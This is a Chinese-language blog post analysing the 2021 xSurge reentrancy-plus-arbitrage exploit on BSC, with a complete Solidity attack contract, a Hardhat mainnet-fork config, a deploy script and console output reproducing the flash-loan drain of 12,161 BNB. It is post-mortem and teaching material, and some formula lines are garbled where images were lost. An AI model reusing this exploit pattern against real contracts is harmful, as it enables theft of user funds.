智能合约经典漏洞案例,xSurge 重入漏洞+套利 综合运用

智能合约经典漏洞案例,xSurge 重入漏洞+套利 综合运用

1. 事件介绍

xSurge 被攻击事件发生在 2021-08-16 日,距离今天已经近 1 年了,为什么还会选择这个事件进行分析?主要是这个攻击过程很有意思,有以下的几点思考

  • 使用 nonReentrant 防止重入,又在代码中又不遵循检查-生效-交互模式(checks-effects-interactions)时,要怎么利用?
  • 该漏洞利用的代码是重入漏洞的典型代码,但利用过程却不是重入。应该是"最像重入漏洞的套利漏洞"。
  • 随着 ERC20 合约的规范化,ERC20 的合约漏洞越来越少。xSurge 会不会是 ERC20 合约最后的漏洞?
  • 价格计算机制既然可以从数学上证明存在漏洞,能不能用数学的方法来挖掘此类的漏洞?
  • 该攻击过程中与闪电贷的完美结合。所有的攻击成本只有 gas 费,漏洞利用的大资金从闪电贷中获得,攻击获利后归还闪电贷的本息。闪电贷使攻击的收益损失比大大大大地提高。

xSurge 是一个基于 bsc 链的 Defi 的生态系统,其代币为 xSurgeToken,用户可以通过持有 xSurgeToken 获得高收益回报,同时可以将 xSurgeToken 用于其 Defi 生态中的。xSurgeToken 遵循 ERC20 协议,初始供应量为 10 亿枚,随着用户的对 xSurgeToken 的转入转出,xSurgeToken 的价格会动态进行调整。

在 2021-08-16 日,黑客通过 xSurgeToken 合约代码中的漏洞,窃取了 xSurgeToken 合约中的 12161 个 BNB。具体来说黑客采用闪电贷出的 10000 WBNB 做为初始资金,通过代码漏洞套利,淘空了 xSurgeToken 合约的 BNB 余额,同时套利使 xSurgeToken 的价格下降了 7 千多倍。

本文将重点分析和复现 xSurge 的攻击过程。

2. 漏洞分析

漏洞可以被利用主要在于两点:

  1. sell 函数中先转了 xSurge 代币,后进行了余额的减操作,导致余额会在短暂时间内留存,这笔余额被黑客用来再次购买了 xSurge。
  2. xSurge 的价格计算过程中,在有更多的买入时,会导致 xSurge 的价格变低,xSurge 的价格变低,又会导致可以购买更多的 xSurge,类似于滚雪球,越滚越大,最终把 xSurge 合约掏空。同时,叠加黑客利用闪电贷,贷到 10000 个 WBNB 进行攻击,这么大一笔钱对 xSurge 价格影响更大,从而导致循环调用 8 次就可以掏空 xSurge 合约。

对这前两点进行分析说明

2.1 漏洞代码分析

漏洞代码链接如下:
https://bscscan.com/address/0xe1e1aa58983f6b8ee8e4ecd206cea6578f036c21#code

漏洞涉及到三个函数,:

  1. sell():卖出 xSurge,把卖出得到的 BNB 发送给出售者(也就是函数调用者)
  2. purchase():买入指定数量的 xSurge。该函数为 internal 类型,只能由下面的 recive()函数调用。
  3. receive():receive 不是普通函数,是 solidity 的回调函数。当 xSurge 合约收到 BNB 时,该函数会自动执行,在该函数中调用了 purchase()函数。

漏洞点在于:sell()函数中调用了 call 函数后才进行 balance 的减法操作,攻击者通过 call 函数获得代码控制权后,在 balance 还没减掉的情况下,攻击者调用 purchase 方法进行购买,达到了类似套利的效果。

众所周知,"更高成本带来更高的收益",黑客看到这种机会,也期望着有更多的投入来套取更大的收益,于是,攻击者为了扩大这种攻击效果,使用了闪电贷,从 Pancake 中贷出来 10000 个 BNB 进行攻击,在一个区块中经过 8 次的"套利",获得了 12161 个 BNB。

在代码中,看到攻击利用的关键点

/** Purchases SURGE Tokens and Deposits Them in Sender's Address*/
// 利用关键点3:这里调用了mint时,balance还是没有减之前的,所以mint出来的肯定会多一些。
    function purchase(address buyer, uint256 bnbAmount) internal returns (bool) {
        // make sure we don't buy more than the bnb in this contract
        require(bnbAmount <= address(this).balance, 'purchase not included in balance');
        // previous amount of BNB before we received any
        uint256 prevBNBAmount = (address(this).balance).sub(bnbAmount);
        // if this is the first purchase, use current balance
        prevBNBAmount = prevBNBAmount == 0 ? address(this).balance : prevBNBAmount;
        // find the number of tokens we should mint to keep up with the current price
        uint256 nShouldPurchase = hyperInflatePrice ? _totalSupply.mul(bnbAmount).div(address(this).balance) : _totalSupply.mul(bnbAmount).div(prevBNBAmount);
        // apply our spread to tokens to inflate price relative to total supply
        uint256 tokensToSend = nShouldPurchase.mul(spreadDivisor).div(10**2);
        // revert if under 1
        if (tokensToSend < 1) {
            revert('Must Buy More Than One Surge');
        }

        // mint the tokens we need to the buyer
        mint(buyer, tokensToSend);  **// 到这里就成功了。**
        emit Transfer(address(this), buyer, tokensToSend);
        return true;
    }

    /** Sells SURGE Tokens And Deposits the BNB into Seller's Address */
    function sell(uint256 tokenAmount) public nonReentrant returns (bool) {

        address seller = msg.sender;

        // make sure seller has this balance
        require(_balances[seller] >= tokenAmount, 'cannot sell above token amount');

        // calculate the sell fee from this transaction
        uint256 tokensToSwap = tokenAmount.mul(sellFee).div(10**2);

        // how much BNB are these tokens worth?
        uint256 amountBNB = tokensToSwap.mul(calculatePrice());

        // 利用关键点1:漏洞地方,在call中程序的控制权被转移到攻击者手里。但是在攻击balance的数量却还没有少
        (bool successful,) = payable(seller).call{value: amountBNB, gas: 40000}("");
        if (successful) {
            // subtract full amount from sender,在这里才开始减掉balance的数量
            _balances[seller] = _balances[seller].sub(tokenAmount, 'sender does not have this amount to sell');
            // if successful, remove tokens from supply
            _totalSupply = _totalSupply.sub(tokenAmount);
        } else {
            revert();
        }
        emit Transfer(seller, address(this), tokenAmount);
        return true;
    }

// 利用关键点2:攻击合约得到程序控制权后,直接向xsurge合约进行转账,从而触发xsurge合约的receive函数的调用。这里会调用purchase函数
receive() external payable {
        uint256 val = msg.value;
        address buyer = msg.sender;
        purchase(buyer, val);
    }

2.2 xSurgeToken 价格计算方式+闪电贷

从 xSurge 的合约代码可知,xSurgeToken 的基础数量为 10 亿,在 sell 时,_totalSupply 会减,在 purchase 时,_totalSupply 会增加。产生的影响是:黑客买入更多的 xSurgeToken 时,xSurgeToken 的价格会降低。

xSurge 的价格计算方法如下:xSurge 合约.balance/_totalSupply

// 计算xsurge的价格,xsurge价格=this.balance/_totalSupply
    function calculatePrice() public view returns (uint256) {
        return ((address(this).balance).div(_totalSupply));
    }

可以把复现过程中,xSurge 的价格,xSurge 合约的 BNB 余额(下面 quantity 的值),xSurge 的供应量打印出来(下面_totalSupply 的值)。

2 times sell
cur price:40431697 = quantity(23614362876275166045082) / _totalSupply(584055694626796)

[recevie ]AttackContract xsurge balance:290602026064411, BNB balance
 11044561081497012206562
3 times sell
cur price:30436844 = quantity(23614362876275166045082) / _totalSupply(775847945216500)

[recevie ]AttackContract xsurge balance:482394273111949, BNB balance
 13801605682969677247808
4 times sell
cur price:17900419 = quantity(23614362876275166045082) / _totalSupply(1319207269744644)

[recevie ]AttackContract xsurge balance:1025753540789277, BNB balance
 17259733080609943264480
5 times sell
cur price:6449277 = quantity(23614362876275166045082) / _totalSupply(3661551965635088)
............

在整个攻击过程中,从 xSurge 合约的角度看,xSurge 合约中的 BNB 没有变化(一直都是 23614362876275166045082),但 xSurge 供应量totalSupply 一直在增加,xSurge 的价格一路走低。(注意这句话中三个变量的顺序,这也是黑客攻击过程中的各个变量的变化趋势:xSurge 合约中的 BNB→xSurge 供应量_totalSupply→xSurge 的价格)。
从 sell 方法中,输入的是 xSurgeToken,输出的是 BNB,计算 BNB 的公式如下:

在 purchase 方法中,输入的是 BNB,输出的是 xSurgeToken,计算 xSurgeToken 的公式如下:

转化成

在这个 sell 方法 purchase 方法调用过程中,实现套利,sell 得到的 bnb(也就是公式 1)需要大于 purchase 时输入的 bnb(也就是公式 2),所以公式 1 的右边>公式 2 的右边,得到下面的不等式.
(0.94 * balance * xSurge) / totalSupply>(xSurge
balance)/(0.94totalSupply+xSurge)$$(0.94 * balance * xSurge) / totalSupply
计算得出

也就是,当购买 xSurgeToken 投入的资本量大于 0.1238
totalSupply 时,可以实现套利。

我们打印出黑客攻击时的 xSurgeToken 的价格和 totalSupply,分别为 46393569, 293453665448225

需要投入的最少的 xSurge 数量为:0.1238293453665448225 = 36329563782490.255。
所以攻击所需要的最低成本大约为:数量
价格=36329563782490.255_46393569 = 1685.4e18 = 1685 个 BNB。如果攻击时,使用少于 1685 个 BNB 的话,会导致入不敷出。

我们通过使用 1000 个 BNB 进行攻击来模拟下入不敷出的场景,在这种场景下,xSurge 的价格会越来越高(如下图) ,最终导致连 1000 个 BNB 的本金都会亏损(在调用 11 次 sell 后,1000 个 BNB 只会剩下 426 个)。

攻击者因此采用了闪电贷的方式获得 10000 个 BNB 到 xSurge 合约后进行攻击,换出一大笔 xSurgeToken,在 xSurge 合约 sell 中代币余额没有减的漏洞,在调用 xSurge 的 purchase 时,_totalSupply 会增大,导致价格减少,循环下去,_totalSupply 越来越大,xSurge 价格越来越小。

价格越来越小,就导致在这 10000 个 BNB 的本钱下,可换出来的 xSurge 越来越多。

3.攻击过程分析

根据交易的 tx: 0x7e2a6ec08464e8e0118368cb933dc64ed9ce36445ecf9c49cacb970ea78531d2 ,可以看到黑客通过部署了攻击合约,并调用攻击合约进行攻击,在攻击合约中使用了 Pancake 的闪电贷功能,所有的攻击过程都在 PancakePair.swap 的闪电贷方法中进行。

在闪电贷中,通过查看调用 swap 方法时的参数,其中的 data 数据就是闪电货的回调函数,攻击合约贷出来的币会在该回调函数中进行套利使用。

重点看下闪电贷中的回调函数操作:

主要操作如下:

  1. 将闪电贷中贷出来的 10000 BNB 转移至攻击合约中。做为攻击时套利时的本钱。
  2. 开始利用漏洞套利。
    1. 计算当前 xSurge 的价格。
    2. 攻击合约将所有的 BNB 买入 xSurge。(买入了 202,610,205,836,752 xSurge)
    3. 攻击合约调用 xSurge 的 sell 方法,将 xSurge 卖掉,同时得到 BNB(得到了 9066.40333453581 BNB, 🥵 到此黑客还是赔本的,因为贷出的 10000 个 BNB 现在变成了 9066 个......)。此时攻击合约得到了 BNB,但攻击合约中的 xsurge 的数量还是没有减掉的。sell 方法中的 call 函数会把程序的控制权转换到攻击合约的 fallback 中。
    4. 攻击合约的 fallback 函数中。1.计算下当前拥有的 xSurge 的余额。2.将 c 中得到的 BNB 再转给 xSurge 合约,购买 xSurge。(此时的 xsurge 数量为 290,629,974,679,289,与 b 中的 xsurge 数量相比 202,610,205,836,752 ,已经多出来很多了......)
  1. 重复上面 2 中的漏洞利用过程,就导致攻击合约所拥有的 xSurge 数量滚雪球一样的越来越多。(如第二次重复时,BNB 从 9066 变成 11044BNB,对应的 xSurge 从 290,629,974,679,289 增长到 482,532,660,156,157),到第三次重复时,BNB 的数量就达到 13802,第四次重复到了 17260,............,到第 8 次,BNB 到了 22191 后,阿祖开始收手了...
  2. 还闪电贷的利息。连本带利还了 10030 BNB(攻击完成后共有 22191 BNB),净到手 12161 BNB。

可以看下这 8 次的操作时,账户金额的变化,从最初的闪电贷贷出的初始 10000 BNB 做为黑客的"创业资本",黑客的 BNB 的数量越来多。同时,xSurge 的价格也越来越低,这是由黑客的套利行为引起的 xSurge 的价格变化。

次数 xSurge 的价格 初始买入 xSurge 的数量 sell 后得到的 BNB 数量 调用 receive 后得到的 xSurge 数量
1 46,394,503 202,610,205,836,752 9066 290,629,974,679,289
2 40,429,226 290,629,974,679,289 11044 482,532,660,156,157
3 30,429,743 482,532,660,156,157 13802 1,026,387,665,528,484
4 17,889,900 1,026,387,665,528,484 17260 3,372,122,831,057,924
5 6,441,197 3,372,122,831,057,924 20417 22,033,618,137,782,256
6 1,057,468 22,033,618,137,782,256 21901 269,089,469,621,295,418
7 87,645 269,089,469,621,295,418 22169 3,896,288,852,239,436,433
8 6,059 3,896,288,852,239,436,433 22191

4. 攻击复现

攻击复现时在 fork 对应的区块时,不要使用 morails,morails 的加速节点有问题,无法 fork 成功。alchemy 又不支持 bsc 链,这里使用了 quicknode 进行区块 fork 。

另外黑客攻击发生在 10087724 区块高度,使用 quicknode 从 10087723fork 后,得到的 xSurge 的价格与黑客攻击时稍微的不同,猜测可能是由于对应的区块中也有对 xSurgeToken 的调用导致 xSurge 的价格产生了稍微的变化。

攻击复现的效果图如下:

4.1 harhat.config.ts 配置文件

import { HardhatUserConfig } from "hardhat/config";
import "@nomicfoundation/hardhat-toolbox";

const config: HardhatUserConfig = {
  solidity: {
    version: "0.8.8",
    settings: {
      optimizer: {
        enabled: true,
        runs: 200,
      },
    },
  },
  networks: {
    hardhat: {
      forking: {
        // url: "https://speedy-nodes-nyc.moralis.io/*******/bsc/mainnet/archive",
        // url: "https://eth-mainnet.alchemyapi.io/v2/*******",
        url: "https://falling-wandering-river.bsc.discover.quiknode.pro/*******/",
        // 	10087724  19381696
        blockNumber: 10087723,
      },
      loggingEnabled: false,
      gas: 20_000_000,
    }
  }
};

export default config;

使用 hardhat 进行攻击复现。攻击复现代码如下,使用的复现命令为

npx hardhat run scripts/deploy.ts --network hardhat

4.2 attack.sol

攻击合约。

攻击合约中有定义 maxSellNumber 状态变量,用来指定调用 sell 方法的次数。可以通过修改这个状态变量的值,来观察不同的区块高度上的 xSurgeToken 状态下,最优的 sell 次数。

攻击合约中有几点注意事项:

  1. 在攻击合约的 receive()回调中,通过 maxSellNumber 控制最后一次不要执行"向 xSurge 转入 BNB,再次买入 xSurge"的操作(如果每次都执行这个操作,最终的资金全部在 xSurge 中,最终会把所有的资金锁死)。

  2. 攻击流程如下:

    1. 闪电贷 10000 个 WBNB,将 10000 个 WBNB 换成 10000 个原生代币 BNB
    2. 使用 10000 个 BNB 购买 xSurgeToken
    3. 调用 xSurge.sell,触发漏洞。同时在攻击合约的 fallback 中再次买入 xSurge 的操作。
    4. 重复 c 中的操作方法 maxSellNumber-1 次
    5. 调用 xSurge.sell,此时攻击合约的 fallback 中不再买入 xSurge,此时攻击合约会得到 BNB
    6. 攻击合约将得到的 BNB,转换成 WBNB 后,归还闪电贷后剩下的 WBNB 就是黑客攻击所得。

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.0;
    import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
    import "@openzeppelin/contracts/access/Ownable.sol";
    import "./interfaces/Uniswap.sol";
    import "hardhat/console.sol";
    import "./IXsurge.sol";
    import "./interfaces/IWBNB.sol";
    interface IPancakeCallee {
    function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) external;
    }
    contract Attack is IPancakeCallee, Ownable{
    address private constant UniswapV2Factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;

     address private constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
     address private constant PancakeToken= 0x0E09FaBB73Bd3Ade0a17ECC321fD13a19e81cE82;
     address private constant PancakeFactory = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;
     address private constant PanckaePair = 0x0eD7e52944161450477ee417DE9Cd3a859b14fD0;
     address private constant surgeTokenAddr = 0xE1E1Aa58983F6b8eE8E4eCD206ceA6578F036c21;
    
     uint256 curSellNumber = 0;
     uint256 constant maxSellNumber = 8;
     constructor(){
    
     }
     fallback() external {}
     receive() payable external {
         if(msg.sender==surgeTokenAddr && curSellNumber<=maxSellNumber-1){
             console.log("[recevie()]AttackContract xsurge balance:%s, BNB balance:%s",
                         ISurgeToken(payable(surgeTokenAddr)).balanceOf(address(this)),
                         address(this).balance);
             uint256 hackContractXsurge = IERC20(surgeTokenAddr).balanceOf(address(this));
             payable(surgeTokenAddr).call{value:address(this).balance}(""); // 向xSurge转入BNB,再次买入xSurge
         }
     }
    
     function  startAttack(address _tokenBorrow, uint256 _amount) public onlyOwner {
    
         address pair = IUniswapV2Factory(PancakeFactory).getPair(_tokenBorrow, PancakeToken);
         require(pair!=address(0), "the pair _tokenBorrow is not exist...");
         address token0 = IUniswapV2Pair(pair).token0();
         address token1 = IUniswapV2Pair(pair).token1();
         uint256 amount0Out = _tokenBorrow==token0 ? _amount : 0;
         uint256 amount1Out = _tokenBorrow== token1 ? _amount : 0;
         bytes memory data = abi.encode(_tokenBorrow, _amount);
         IUniswapV2Pair(pair).swap(amount0Out, amount1Out, address(this), data);
     }
    
     function pancakeCall(address _sender, uint amount0, uint amount1, bytes calldata _data) external override{
         address token0 = IUniswapV2Pair(msg.sender).token0();
         address token1 = IUniswapV2Pair(msg.sender).token1();
         // call uniswapv2factory to getpair
         address pair = IUniswapV2Factory(PancakeFactory).getPair(token0, token1);
         require(msg.sender == pair, "!pair");
         // check sender holds the address who initiated the flash loans
         require(_sender == address(this), "!sender");
    
         (address tokenBorrow, uint amount) = abi.decode(_data, (address, uint));
         uint256 price = ISurgeToken(payable(surgeTokenAddr)).calculatePrice();
         // console.log("price:", price); //46394463
    
         console.log("Attack WBNB blance:%s, xsurge balance:%s, balance:%s",
                     IERC20(WBNB).balanceOf(address(this)),
                     IERC20(surgeTokenAddr).balanceOf(address(this)),
                     address(this).balance);
         // 将从闪电贷中得到的10000 WBNB转化成自身的 BNB
         console.log("AttackContract get %s WBNB to BNB", amount);
         IWBNB(payable(WBNB)).withdraw(amount);
         console.log("Attack WBNB blance:%s, xsurge balance:%s, balance:%s",
                     IERC20(WBNB).balanceOf(address(this)),
                     IERC20(surgeTokenAddr).balanceOf(address(this)),
                     address(this).balance);
         // 将自身从闪电贷中的得到的WBNB,转化成BNB后,充值给xSurgerToken.
         console.log("AttackContract send %s BNB to xSurgeToken", amount);
         payable(surgeTokenAddr).call{value:amount}("");
         console.log("[Before]AttackContract WBNB blance:%s, xsurge balance:%s, balance:%s",
                     IERC20(WBNB).balanceOf(address(this)),
                     IERC20(surgeTokenAddr).balanceOf(address(this)),
                     address(this).balance);
    
         // 将得到的xSurge sell掉,在调用xSurge的sell方法时,sell方法的call会将程序控制权交到attackContract的receiver回调函数中。
         curSellNumber = 1;
         uint256 hackContractXsurge = IERC20(surgeTokenAddr).balanceOf(address(this));
         // console.log("hackContractXsurge count:", hackContractXsurge);
         console.log("%s times sell", curSellNumber);
         uint256 xSurgeTokenBnbQuantity = ISurgeToken(payable(surgeTokenAddr)).getBNBQuantityInContract();
         console.log("cur price:%s = quantity(%s) / _totalSupply(%s)",
                         price,
                         xSurgeTokenBnbQuantity,
                         xSurgeTokenBnbQuantity/price);
         ISurgeToken(payable(surgeTokenAddr)).sell(hackContractXsurge);
    
         // 将上面的方法连续调用多次。
         curSellNumber++;
         for (; curSellNumber<=maxSellNumber; curSellNumber++) {
             uint256 curPrice = ISurgeToken(payable(surgeTokenAddr)).calculatePrice();
             xSurgeTokenBnbQuantity = ISurgeToken(payable(surgeTokenAddr)).getBNBQuantityInContract();
             console.log("%s times sell",
                         curSellNumber);
             console.log("cur price:%s = quantity(%s) / _totalSupply(%s)",
                         curPrice,
                         xSurgeTokenBnbQuantity,
                         xSurgeTokenBnbQuantity/curPrice);
             hackContractXsurge = IERC20(surgeTokenAddr).balanceOf(address(this));
             // 每次sell时,控制权会来到receive函数中,在receive中向xSurgeToken转入BNB买入xSurge
             ISurgeToken(payable(surgeTokenAddr)).sell(hackContractXsurge);
         }
         console.log("[After loop]AttackContract xsurge balance:%s, BNB balance:%s",
                         ISurgeToken(payable(surgeTokenAddr)).balanceOf(address(this)),
                         address(this).balance);
    
         console.log("BNB-> WBNB:%s->%s",
                     address(this).balance,
                     IWBNB(payable(WBNB)).balanceOf(address(this)));
         payable(WBNB).call{value:address(this).balance}("");
         console.log("[Compelete...]BNB-> WBNB:%s->%s",
                     address(this).balance,
                     IWBNB(payable(WBNB)).balanceOf(address(this)));
         // 归还闪电贷。0.3% fees
         uint fee = ((amount * 3) / 997) + 1;
         uint amountToRepay = amount + fee;
         console.log("return %s WBNB(amountToRepay:%s) flashloan...Cur constract WBNB balance:%s\n",
                     amount/1 ether,
                     amountToRepay/1 ether,
                     IERC20(WBNB).balanceOf(address(this))/1 ether);
         IERC20(tokenBorrow).transfer(pair, amountToRepay);
    
         console.log("[Filnal...]AttackContract WBNB blance:%s, xsurge balance:%s, balance:%s\n",
                     IERC20(WBNB).balanceOf(address(this))/1 ether,
                     IERC20(surgeTokenAddr).balanceOf(address(this)),
                     address(this).balance);
    
     }
    

    }

4.3 deploy.ts

脚本的主要功能为部署攻击合约,调用攻击合约。

import { ethers } from "hardhat";
import hre from "hardhat";
import "@nomicfoundation/hardhat-chai-matchers";
import { BigNumber } from "ethers";

async function main() {

  const ERC20ABI = require("@uniswap/v2-core/build/ERC20.json").abi;
  const WBNB = "0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c";
  const XSurgeTokenAddr = "0xE1E1Aa58983F6b8eE8E4eCD206ceA6578F036c21";

  let borrowAmount = ethers.BigNumber.from("10000000000000000000000"); // 使用10000个BNB攻击
  // let borrowAmount = ethers.BigNumber.from("2000000000000000000000"); // 2000个BNB
  // let borrowAmount = ethers.BigNumber.from("1000000000000000000000"); // 1000个BNB,可用来模拟入不敷出的场景

  // 1.部署AttackContract
  const Attack = await ethers.getContractFactory("Attack");
  var attackContract = await Attack.deploy();
  await attackContract.deployed();

  var Alice;
  [Alice] =await hre.ethers.getSigners();
  // 2.调用攻击合约的闪电贷
  const WBNBContract = new ethers.Contract(WBNB, ERC20ABI, Alice);
  const XSurgeContract = new ethers.Contract(XSurgeTokenAddr, ERC20ABI, Alice);

  console.log("[Before Attack.....]AttackContract xsurge balance:%s ether, WBNB balance:%s ether, BNB balance:%s ether\n",
              ethers.utils.formatEther(await XSurgeContract.balanceOf(attackContract.address)),
              ethers.utils.formatEther(await WBNBContract.balanceOf(attackContract.address)),
              ethers.utils.formatEther(await attackContract.provider.getBalance(attackContract.address)));

  console.log("attackContract startAttack flahloan.....");
  await attackContract.startAttack(WBNB, borrowAmount);
}

main().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});

4.4 复现时要注意的事项

黑客利用的区块高度为 10087724,因此复现时计划从上一区块,也就是 10087723 进行 fork。但这过程中有一些坑。

  1. moralis 是我最喜欢用的,首先是因为 morails 支持的公链更多,但从 10087723 fork 时,一直指示 timestamp 的错误,导致 fork 失败。而尝试后发现,如果从最新产生的区块高度 19381696 附近进行 fork 的话,则会成功。因此,对于比较久远的区块,morails fork 时可能会出现问题。
  2. 后来尝试使用 alchemy,alchemyapi 目前支持 ethereum, polygon, arbitrum, optimism 公链,暂不支持 BSC 链,因此也放弃。
  1. 使用 quiknode 提供的节点功能,可以成功,但 quiknode 速度稍慢一些。

5.总结

5.1 xSurge 漏洞是一个不完全的重入漏洞

再看下漏洞存在的 sell 方法中的关键代码,sell 方法有 nonReentrant 修饰符,存在对重入攻击的防范措施,所以在 sell 函数执行完之前,攻击者是无法再次进入到 sell 函数中的。在漏洞利用中,攻击者也没有利用漏洞再次进行 sell 函数,而是利用漏洞后进入 purchase 函数。

function sell(uint256 tokenAmount) public nonReentrant returns (bool) {

        address seller = msg.sender;
        ........................
        (bool successful,) = payable(seller).call{value: amountBNB, gas: 40000}("");
        if (successful) {
            _balances[seller] = _balances[seller].sub(tokenAmount, 'sender does not have this amount to sell');
            _totalSupply = _totalSupply.sub(tokenAmount);
        } else {
            revert();
        }
    }

本次合约代码中存在的漏洞利用与传统的重入攻击有些区别。

  • 传统的重入攻击常见的场景是,合约 A 的 a 方法(a 方法调用了 call 方法,且 balance 的 sub 操作在 call 方法后)存在重入漏洞,在执行到漏洞点 call 函数时,攻击者的合约 B 得到回调函数 b 得到控制权,攻击者通过在 b 中再次调用合约 A 的 a 方法,............,一个重入的自动循环就产生了。在这种场景下是 A 合约的 a 方法与 B 合约的 b 方法构成调用循环。
  • 而此次攻击中,xSurge 合约的 sell 方法(sell 方法中调用了 call 方法)中存在重入漏洞,在执行到漏洞点 call 函数时,攻击者的合约 B 得到回调函数 b 得到控制权,攻击者通过在 b 中调用的 xSurge 合约 purchase 方法,实现效果的并不是 2 个函数之间的自动来回循环,而是两个函数实现一次套利,人工的多次调用套利操作。更像是个半自动的过程。

5.2 循环的利用次数要严格控制

请思考下,为什么黑客攻击是进行 8 次就中止?为什么不是 9 次或者 7 次,而是 8 次?如果真的执行 9 次会怎么样?如果执行 11 次会怎样?如果执行 12 次会怎么?

因为 xSurge 合约中的代币数量在第 8 次时收益会最大,打印出调用 sell 的次数时,对应的取出的 BNB 数量,在第 8 次时有 22192 的收益,收益最大。第 9 次时,收益只有 22187 在第 11 次时,此时 xSurge 的价格只有 2 了,收益只有 21928 了。

如果第 12 次,xSurge 里的代币价值就不够你充值的 BNB 了,会导致黑客所有的 xsurge 都取不出来,在这种情况下,黑客就会偷鸡不成反蚀米,充值充爆了 xSurgeToken,还无法从 xSurgeToken 中取出 BNB。

下表中的 cur price 表示当前次数时,xSurge 的价格;BNB balance 表示当前次数时的收益。

  • 当调用 sell 方法的次数小于 8 时,价格越来越低,BNB 的收益越来越高。

  • 当调用 sell 方法的次数大于 8 时,价格越来越低,BNB 的收益越来越低。

    7 times sell, cur price:87868
    [recevie ]AttackContract xsurge balance:268451834133810277, BNB balance
    22173026215969462900880
    8 times sell, cur price:6075
    [recevie ]AttackContract xsurge balance:3886227754608511667, BNB balance
    22192303592691905868450
    9 times sell, cur price:414
    [recevie ]AttackContract xsurge balance:57012958598099436221, BNB balance
    22187162968036376599458
    10 times sell, cur price:28
    [recevie ]AttackContract xsurge balance:833145075801540780287, BNB balance
    21928378395096553337132
    11 times sell
    [recevie ]AttackContract xsurge balance:0, BNB balance
    19149587866837346185250

5.3 价格波动问题

Defi 生态中都会存在价格波动,如何检测到价格波动是否正常是 Defi 生态中要考虑的最最重要的问题。历史上很多次的攻击都是由于价格波动引起的,闪电贷的方式又可以让攻击者以一种杠杆的方式加大价格的波动,加大后的价格波动又成为套利的温床。

xSurge 的价格波动可以通过数学的方式计算出来,能否后续会有一种安全产品:基于产品的实现逻辑抽取出价格模型,由数学证明价格模型来发现漏洞?

相关推荐
x66ccff2 小时前
HTTPS如何通过CA证书实现安全通信,以及HTTPS的局限性
网络协议·安全·https
梁小憨憨2 小时前
机器学习(Machine Learning)的安全问题
人工智能·安全·机器学习
toto41211 小时前
线程安全与线程不安全
java·开发语言·安全
follycat14 小时前
bestphp‘s revenge
学习·web安全
CESS_Cloud14 小时前
CESS 出席华盛顿区块链政策峰会:参与国家安全与数据隐私保护专题讨论
安全·阿里云·web3·去中心化·区块链
黑客K-ing14 小时前
网络安全防范
linux·服务器·web安全
阿Q说代码16 小时前
合合信息:视觉内容安全技术的前沿进展与应用
后端·安全
痞老板216 小时前
【杂谈】虚拟机与EasyConnect运行巧设:Reqable助力指定应用流量专属化
运维·安全·fiddler·代理模式
m0_7482550217 小时前
新手参加2025年CTF大赛——Web题目的基本解题流程
前端·网络·安全
Autumn.h18 小时前
文件解析漏洞
web安全·网络安全·中间件